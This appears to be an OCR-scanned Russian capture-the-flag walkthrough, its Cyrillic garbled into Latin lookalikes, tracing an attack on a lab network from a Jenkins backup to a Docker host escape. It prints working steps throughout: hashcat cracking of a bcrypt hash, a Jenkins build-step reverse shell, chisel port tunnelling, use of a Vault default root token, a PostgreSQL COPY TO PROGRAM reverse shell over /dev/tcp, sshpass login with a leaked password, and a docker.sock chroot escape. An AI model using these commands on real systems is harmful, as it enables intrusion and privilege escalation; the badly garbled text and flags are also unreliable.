TF{0b7b3651712d0021ef6b366e88687833045a0817root@e9ba308cd022: ~#

opt#

ruwxr-xr-x 1 root root 4p96 Feb 5 16:31 ./

lrwxr-xr-x 1 root root 4e96 Feb 5 16:31 /

rw—-r--r—— 1 root root 72500029 Feb 4 19:12
root@e9ba308cd022: /opt# tar —xzvf backup_02.04.2026.tar.gz
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Pacnakyem un usyyum c¢aninbl. OKasbiBaeT 310 backup Jenkins'a. B nanke users byaet
nHpopmauma o6 nonbsosaTenax. Haxoamm Tam username nonb3oBaTens silverhand u

jberypt Xaw ero napons
#jbcrypt:$2a$10$tUsWkIeQIECcVUOWONYMNMeHBWRWGZFghsGP6k92sedMYhwOvYs/CS

MpobpyTnm xaw yepes hashcat

hashcat -a 0 -m 3200 silverhand.hash ./rockyou.txt

./rockyou.txt —-show
$2a$10$tUkuIeQIEcVuOWGnYMNMeHBWRwGZthsGP6k92sedMthOst/CS sfl9ers

Aobpo noxmanosare B Jenkins!

Y SIS, o < Bt U AR

Start building your saftware project

Cremm gl

Set up a distributed build

mesTam  larkimzam
wu

MNonagaem B nycToi Jenkins, HO Mbl MOXeM NONacTb Ha XOCT Yyepe3 AKob. Co3gaém arKob
n pobasnsem war coopku "BoinonHntb KomaHay shell”, nponucbiBaem revshell.

Dashboard  * hach  +

PR e E HaRoN

¥npaBasHNE NCXOAMBIN KOLOM

soe

MecAecEapauHLE: ONSPALME
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CoxpaHsiem 1 Haxkmmaem "CobpaTtb cenyac"

nc —Lvnp 9999
listening on [any] 9999 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 32872
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell

root@50d58U4c967ec: /var/jenkins_home/workspace/hack#t id
id

uid=0(root) gid=0(root) groups=0(root)
root@50d584c967ec: /var/jenkins_home/workspace/hack

Tenepb y Hac ecTb A0CTyn K root Ha xocTe ¢ Jenkins. 3abupaem BTOpOI1 dnar B fOMaLLHEN

OAVNPEKTOPUN.
CTF{5e6c62fed50fc7af98e09bc80cbe52a3a8413£08}

drwx root root 4096 Feb
drwxr—-xr—x root root 4096 Feb
root root 5 Feb
(i i et root root 571 Apr 1
drwxr—-xr—x root root 4096 Feb
==Y == root root 126 Dec
PN root root 161 Jul
T R e root root 45 Feb
root@50d584c967ec:~# cat flag.txt
cat flag.txt
CTF{5e6c62fedSOFC7a¥98e09bc80cbe52a3a8413FOS}root@50d584c967ec:~#|

17:33

16:31. ..

17:33 .bash_history
2021 .bashrc
16:31 .cache

2021 .gitconfig
2019 .profile
12:23 flag.txt

EOWR OOy

Yepes ip a y3HAEM, YTO y Hac ecTb ewé oaHa noaceTb.

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ethO@ifl105; <BROADCAST,MULTICAST,f UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default

Llink/ether 12:61:64:cc:55:07 brd ff:ff:ff:ff:ff:ff link-netnsid ©
inet 172.41.0.2/24 brd 172.41.0.255 scope global eth®
valid_lft forever preferred_lft forever
3: ethl@if107: <BROADCAST,MULTICAST,fUP,LOWER_ mtu 1500 qdisc noqueue state UP group default
link/ether 16:79:69:e0:5a:14 brd ff:ff:ff:ff:ff:ff Llink—netnsid ©
inet 172.40.0.3/24 brd 172.40.0.255 scope global ethl
valid_lft forever preferred_lft forever

MpockaHMpyem eé€ Yyepes nmap 1 NOCMOTPUM KaKUe B Hel XOCTbl

Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-05 17:37 UTC
Nmap scan report for vm2 (172.41.0.1)

Host is up (0.0000060s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh
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23/tcp filtered telnet

8080/tcp filtered http-proxy

50000/tcp filtered ibm-db2

MAC Address: 92:35:53:37:DB:A9 (Unknown)

Nmap scan report for vuln postgres 1l.vuln backend (172.41.0.3)
Host is up (0.0000060s latency).

Not shown: 998 closed ports

PORT STATE SERVICE

22/tcp open ssh

5432/tcp open postgresqgl

MAC Address: 9A:CB:6E:6B:5A:55 (Unknown)

Nmap scan report for vuln vault 1l.vuln backend (172.41.0.4)
Host is up (0.0000060s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

8200/tcp open trivnetl

MAC Address: A6:F0:98:47:B8:97 (Unknown)

Nmap scan report for 50d584c967ec (172.41.0.2)
Host is up (0.0000050s latency).

Not shown: 998 closed ports

PORT STATE SERVICE

8080/tcp open http-proxy

50000/tcp open ibm-db2

Nmap done: 256 IP addresses (4 hosts up) scanned in 3.43 seconds

Haxoanm 2 xocTa:

e 172.41.0.3
Kpytutca postgres Ha 5432
e 172.41.04

KpyTtutca Vault Ha 8200

HauHém c Vault, ckopee Bcero B HEM XpaHATCA Kpeabl OT 6a3bl AAaHHbIX UMK eLE KaKkue-
HUOYAb CEKpPETHI.

3arpy3um ytuauty Chisel yepes python.

MNogHnmem nokanbHbIM http cepsep.

python -m http.server 7777

N ckavaem c Hero chisel komaHaoM
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curl -0 http://<ip>:7777/chisel.deb

root Heo6
root 4096
root 120
root 571
TWXT—XT—X root 496

17 :53

16:31 ..

17:42 .bash_histor
2021 .bashrc
16:31 .cache

2021 .gitconfig
2019 .profile

WAV Bchisel.deb

12:23 flag.txt

TP —T—r root 126
EN=R == root 161
TINEE==T=— root 4221006
TR-T——r—— root 45
root@50d58U4c967ec:

=&y o P& <> IS 3 I @ 3 B9 5

YcTaHaBiMBaeM NakeT KOMaHAoMW dpkg -i chisel.deb
MoaHumaem y cebs chisel cepsep

chisel server --port 9999 --reverse
Ha Jenkins xocTe chisel kKnneHT

chisel client <server ip>:9999 R:8200:172.41.0.4:8200

Tenepb y Hac NpokuHyYT nopT 8200 Ha HalWy MaLINHY, 3aX0AMM Ha localhost:8200

Sign in to Vault

M

Tokm

Goj) Vet %8 Upareds 4o Vel Srtereen - Docummestisr

Mwem 4yto 3a Vault 1 Kak MOXKHO B Hero 3amTu. 3aryrameB vault default token
credentials, Cpa3y HaXo4MM AOKYMEHTALMIO C AePONTHbIM TOKEHOM root.
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vault default token credentials

n is the default and core method for accessing Vault Al

auth endpoints) ..

Mpobyem root M Hac nyckaet B Vault.

Secrets Engines

Cratissensrars +

aublrgale

et

B oaHOM M3 ceKpeToB HaxoaAuM TpeTui pnar
CTF{5451433f1a0aba775ed8928919c2a81119368096}

Tl

flag
Celete Copy v Wersion 1w Create new version <

walug LTF4 551433 1a0abar 5 e0#a 1891 9¢ 2au1 11 936EH90 |
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B Apyrom cekpeTte HaxoAuMM KOHHEKTOP K postgres

v dedmk § Do ¥

......

Haxogum TyT username - shand
[106aBMM CTaTUYHYIO PO/b ANA NONYYEeHUA Kpenos K 6a3e faHHbIX

Create Role
Rode name

ke
Connection name

pasigs &

Type of role

Role Settings

Tenepb NpoKMHEM NopT A/1a paboTbl ¢ postgres yepes

chisel client 192.168.0.5:9999 R:5432:172.41.0.3:5432
KOHHEeKTMMCSA K 6a3e AaHHbIX MCMOb3YIO NOYYEHHbIN NAapo/ib U HANAEHHbIN O3epHENM.

psql -h localhost -p 5432 --username shand -W -d vaultdb
Password:
psql (18.1 (Debian 18.1-1), server 15.15 (Debian 15.15-1.pgdgl3+1))
Type "help" for help.

vaultdb=> |
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B ogHoOM 13 Tabany, HaxoauMm 4YeTBEPTLIN dnar
CTF{e5c2384edl2elde8fdle%aedbfb57db22b276994}

vaultdb=> \d
List of relations
Name

internal_secrets postgres
public internal_secrets_id_seq sequence postgres
(2 rows)

vaultdb=> SELECT * FROM internal_secrets;
id | service | secret
__"__+ _________ + _______________________________________________

1| flag | CTF{e5c238Uedl2elde8fdle9aedbfb57db22b27699u}
(1 row)

MocmoTpMM KaKue NpaBa Y Hac ecTb B 6a3e AaHHbIX

vaultdb=> \du+
List of roles
Role name | Attributes | Description

___________ o e e e e e e e . e e e e e e e e e e e e e e e e . e e e e e, e e e . . e e e, . e . e e . e . e e e e . e e e

postgres | Superuser, Create role, Create DB, Replication, Bypass RLS |
shand | |

MpaB HerT.
MocMmoTpMm pon TakMe 3anpocom

SELECT rolname
FROM pg roles
WHERE pg has role('shand', oid, 'member');

Y Hac ecTb pg execute server program, 3TO 3HAYWUT, YTO Mbl MOXEM BbINONHATb
KOMaHAbl Ha cepBepe. Cpasy NPOKMHEM PeB-LLEN TaKMM 3aNpPOCOM.

COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/172.41.0.2/4444
O>&1"l;

MbI nonyymnnu wen to3epa postgres
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postgres@27cba®f3a360:~/data$ id

id

uid=999(postgres) gid=999(postgres) groups=999(postgres), 101(ssl-cert)
postgres@27cba@f3a360:~/data$ ls -la
ls -la

total 136

postgres root 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4821
postgres postgres 1636
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 4096
postgres postgres 3
postgres postgres 4096
postgres postgres U096
postgres postgres 88
postgres postgres
postgres postgres
postgres postgres
postgres@??cba@fBaBﬁ@:~/data$

drwxrwxrwt als
drwx————=- base

global
pg_commit_ts
pg_dynshmem
pg_hba.conf
pg_ident.conf
pa_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
PG_VERSION
pg_wal

pg_xact
postgresql.auto.conf
postgresql.conf
postmaster.opts
postmaster.pid

MMOMNMNMMNEEMREMNDNMNRNNOG O

2
2
2
2
2
1

)

[
Chohoohnohohohohhooononoghogrnnonoronn oy Ot L On

postgres(

cat README

Hello, Michael.

As part of a routine security audit, we found suspicious activity in your account.
In order to protect the infrastructure, your password was forcibly reset.

New temporary password: 9poelSm3tinyNdzav7rack

We recommend changing it the next time you log in.postgres@27cba®f3a360:/$

B ¢aiine roBoputcs, 4TOo  Hekomy  Michael nomeHsann  naponb  Ha
9poelSm3tdnyN4zavirack.

Y Hac KaK pa3 ecTb TakoMn, nonpobyem noaknumnTcsa K Hemy no ssh c Jenkins xocTa.
Bocnonb3ayemca ytunuton sshpass

sshpass -p 9poelSm3tdnyN4zavirack ssh -o StrictHostKeyChecking=no
michael@172.41.0.3
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Cpa3sy 3amevaem, 4To Mbl B rpynne sudo, a 3HaYUT MOXKEM 3alTK Nog root'a.

B gomaluHelr AnpeKTopmumn HaxoaAnM YeTBEPTLIN dnar
CTF{319c83babb5641fb4912a461566bc495c8030cba}

[sudo] password for michael: 9poelSm3tidnyNdzav7rack
id

uid=0(root) gid=0(root) groups=0(root)

cd ~

ls -la

total 28

root root 4096 Feb 19:04
drwxr—-xr-x root root 4096 Feb 19:04 ..
ST R e root root 607 Jan 12:35 .bashrc
SPW=TP—=r = root root 132 Jan 12:35 .profile
root root 4096 Feb 16:02 .ssh
—PW-T——T "~ root root 165 Feb 02:39 .wget-hsts
R i root root 45 Feb 12:24 flag.txt
cat flag.txt
CTF{319c83babb5641fbU4912a461566bcd95c8030cbal|

NouccnenoBas MalMHY HAXo4MM docker.sock, d 3HAYUT MOoXKem COeNnaTb docker escape

1ls -la /var/run/docker.sock
srw-rw———— 1 root 113 © Feb 5 14:32 /var/run/docker.sock

KomaHgon docker -H unix:///var/run/docker.sock ps MNOCMOTPUM KaKue
KOHTEI‘/'IHepr 3anyuleHbl Ha XOCTe

C NnoMOLLbIO TaKOTO NeIoaaa MOMKEM BbINONHATbL KOMaHAbl Ha XOcTe

docker run --rm -v /:/hostfs postgres:15 chroot /hostfs id

3abupaem nocneaHuii aar B ANPEKTOPUM root'a Ha XocTe, BbIOPABLLMCb U3 KOHTENHEpPA.

CTF{abbd68blccd25029bc4c0e55beff98658493ea81}
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run ——rm -v /:/hostts postgres:
uid=0(root) gid=0(root) groups=0(root)
docker run ——rm -v /:/hostfs postgres:15 chroot /hostfs ls
bin
bin.usr-is—merged

1lib.usr-is—-merged
lost+found

docker run ——rm -v /:/hostfs postgres:15 chroot /hostfs "ls -la"

chroot: failed to run command ¢‘ls -la’: No such file or directory

docker run --rm -v /:/hostfs postgres:15 chroot /hostfs 1ls /root/

root.txt

docker run —-rm -v /:/hostfs postgres:15 chroot /hostfs cat /root/root.txt
CTF{abbd68blccd25029bclicPe55bef+98658U93ea81}




